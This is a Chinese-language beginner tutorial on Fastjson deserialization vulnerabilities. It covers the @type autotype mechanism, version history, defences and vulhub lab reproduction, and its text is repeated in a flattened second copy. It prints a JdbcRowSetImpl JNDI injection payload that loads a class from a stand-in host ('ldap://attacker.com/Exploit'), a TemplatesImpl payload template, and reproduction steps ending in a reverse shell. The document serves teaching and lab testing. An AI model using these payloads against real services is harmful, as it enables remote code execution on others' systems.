完全零基础入门Fastjson系列漏洞(基础篇)
字数 1396 2025-08-19 12:41:22

完全零基础入门Fastjson系列漏洞(基础篇)教学文档

一、Fastjson简介

Fastjson是阿里巴巴开源的一个高性能Java JSON处理库,可以将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。

主要特点:

  • 速度快:号称最快的Java JSON解析库
  • 使用简单:API简洁易用
  • 功能强大:支持泛型、支持复杂对象
  • 无依赖:不需要其他第三方库

二、Fastjson基本使用

1. 序列化(Java对象转JSON)

import com.alibaba.fastjson.JSON;

User user = new User("W01fh4cker", 25);
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);
// 输出: {"age":25,"name":"W01fh4cker"}

2. 反序列化(JSON转Java对象)

String jsonString = "{\"age\":25,\"name\":\"W01fh4cker\"}";
User user = JSON.parseObject(jsonString, User.class);
System.out.println(user.getName()); // 输出: W01fh4cker

三、Fastjson漏洞原理

Fastjson反序列化漏洞的核心在于其自动类型转换机制和@type特性。

关键点:

  1. Fastjson在反序列化时可以通过@type指定反序列化的类
  2. 攻击者可以构造恶意的JSON字符串,指定特定的类进行实例化
  3. 某些类在实例化时会自动执行危险操作(如JNDI查询、RMI调用等)

四、Fastjson反序列化漏洞利用

1. 利用条件

  • 目标使用Fastjson进行JSON反序列化
  • 目标环境中存在可利用的gadget链
  • Fastjson版本存在漏洞

2. 常见利用方式

JNDI注入利用

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com/Exploit",
    "autoCommit": true
}

TemplatesImpl利用

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["恶意字节码"],
    "_name": "a.b",
    "_tfactory": {},
    "_outputProperties": {}
}

五、Fastjson漏洞检测

1. 版本检测

  • 直接查看pom.xml或gradle.build文件
  • 使用JSON.VERSION获取版本信息

2. DNS探测

构造特殊的JSON请求,观察是否有DNS查询:

{
    "@type": "java.net.Inet4Address",
    "val": "dnslog.cn"
}

六、Fastjson漏洞防御

1. 升级版本

  • 升级到最新安全版本(目前最新安全版本为1.2.83+)

2. 安全配置

// 开启SafeMode(1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

// 或使用白名单
ParserConfig.getGlobalInstance().addAccept("com.yourpackage.");

3. 其他措施

  • 关闭Fastjson的autotype功能
  • 使用Jackson或Gson等更安全的JSON库

七、Fastjson漏洞历史

  1. Fastjson <= 1.2.24 反序列化漏洞
  2. Fastjson <= 1.2.47 远程代码执行漏洞
  3. Fastjson <= 1.2.62 拒绝服务漏洞
  4. Fastjson <= 1.2.66 反序列化漏洞
  5. Fastjson <= 1.2.80 反序列化漏洞

八、实验环境搭建

建议使用vulhub快速搭建测试环境:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

九、漏洞复现步骤

  1. 准备恶意RMI/LDAP服务
  2. 编译恶意Java类并托管
  3. 构造恶意JSON请求
  4. 发送请求触发漏洞
  5. 获取反弹shell或执行命令

十、相关工具

  1. marshalsec - 快速启动恶意的RMI/LDAP服务
  2. JNDI-Injection-Exploit - JNDI注入利用工具
  3. fastjson-blacklist - Fastjson黑名单检测工具

十一、深入学习资源

  1. 官方文档: https://github.com/alibaba/fastjson/wiki
  2. 漏洞分析: https://paper.seebug.org/1192/
  3. 开源项目: https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Basic

十二、总结

Fastjson漏洞的核心在于不安全的反序列化机制,通过@type特性可以指定任意类进行实例化。防御的关键在于限制反序列化的类范围,或升级到已修复的安全版本。对于安全研究人员,理解Fastjson的工作原理和漏洞利用链是至关重要的。

完全零基础入门Fastjson系列漏洞(基础篇)教学文档 一、Fastjson简介 Fastjson是阿里巴巴开源的一个高性能Java JSON处理库,可以将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。 主要特点: 速度快:号称最快的Java JSON解析库 使用简单:API简洁易用 功能强大:支持泛型、支持复杂对象 无依赖:不需要其他第三方库 二、Fastjson基本使用 1. 序列化(Java对象转JSON) 2. 反序列化(JSON转Java对象) 三、Fastjson漏洞原理 Fastjson反序列化漏洞的核心在于其自动类型转换机制和 @type 特性。 关键点: Fastjson在反序列化时可以通过 @type 指定反序列化的类 攻击者可以构造恶意的JSON字符串,指定特定的类进行实例化 某些类在实例化时会自动执行危险操作(如JNDI查询、RMI调用等) 四、Fastjson反序列化漏洞利用 1. 利用条件 目标使用Fastjson进行JSON反序列化 目标环境中存在可利用的gadget链 Fastjson版本存在漏洞 2. 常见利用方式 JNDI注入利用 TemplatesImpl利用 五、Fastjson漏洞检测 1. 版本检测 直接查看pom.xml或gradle.build文件 使用 JSON.VERSION 获取版本信息 2. DNS探测 构造特殊的JSON请求,观察是否有DNS查询: 六、Fastjson漏洞防御 1. 升级版本 升级到最新安全版本(目前最新安全版本为1.2.83+) 2. 安全配置 3. 其他措施 关闭Fastjson的autotype功能 使用Jackson或Gson等更安全的JSON库 七、Fastjson漏洞历史 Fastjson <= 1.2.24 反序列化漏洞 Fastjson <= 1.2.47 远程代码执行漏洞 Fastjson <= 1.2.62 拒绝服务漏洞 Fastjson <= 1.2.66 反序列化漏洞 Fastjson <= 1.2.80 反序列化漏洞 八、实验环境搭建 建议使用vulhub快速搭建测试环境: 九、漏洞复现步骤 准备恶意RMI/LDAP服务 编译恶意Java类并托管 构造恶意JSON请求 发送请求触发漏洞 获取反弹shell或执行命令 十、相关工具 marshalsec - 快速启动恶意的RMI/LDAP服务 JNDI-Injection-Exploit - JNDI注入利用工具 fastjson-blacklist - Fastjson黑名单检测工具 十一、深入学习资源 官方文档: https://github.com/alibaba/fastjson/wiki 漏洞分析: https://paper.seebug.org/1192/ 开源项目: https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Basic 十二、总结 Fastjson漏洞的核心在于不安全的反序列化机制,通过 @type 特性可以指定任意类进行实例化。防御的关键在于限制反序列化的类范围,或升级到已修复的安全版本。对于安全研究人员,理解Fastjson的工作原理和漏洞利用链是至关重要的。